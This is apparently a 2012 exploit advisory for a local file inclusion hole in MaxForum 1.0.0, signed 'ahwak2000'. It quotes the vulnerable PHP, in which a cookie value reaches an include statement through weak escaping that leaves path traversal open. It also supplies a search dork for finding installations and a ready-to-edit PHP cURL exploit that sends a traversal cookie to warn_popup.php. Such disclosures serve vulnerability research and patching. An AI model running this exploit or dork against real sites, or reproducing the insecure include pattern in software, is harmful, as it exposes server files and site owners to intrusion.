MaxForum 1.0.0 Local File Inclusion

`+---------------------------------------+  
| MaxForum v1.0.0 Local File Inclusion |  
+---------------------------------------+  
Author.............: ahwak2000  
Mail...............: z.u5[at]hotmail[dot]com  
Software link......: http://www.max4dev.com/  
Tested versions....: 1.0  
Dork...............: Powered by MaxForum v1.0.0  
Date...............: 15/08/2012  
---------------------------------------------------------------  
in file /MaxForum/includes/forums/warn_popup.php  
  
line 100 if (isset($_COOKIE['max_lang']) && (!isset($_COOKIE['max_name']))){  
line 101 $board_lang = escape_string($_COOKIE['max_lang']);  
line 102 }  
line 103  
line 104 @include "../../language/$board_lang";  
line 105 @include "../../language/$board_lang.php";  
  
  
-------------  
in file /MaxForum/libs/php/functions.php  
  
function escape_string($string) {  
  
$string = addslashes($string);  
  
$string = htmlspecialchars($string);  
return $string;  
}  
----------------------------------------------------------------  
exploit:  
  
<?  
$url="http://site.com/MaxForum/";  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url."/includes/forums/warn_popup.php");  
curl_setopt($ch, CURLOPT_COOKIE, "max_lang=../gpl.txt"); // <--- edit  
$buffer = curl_exec($ch);  
?>  
  
#end  
  
`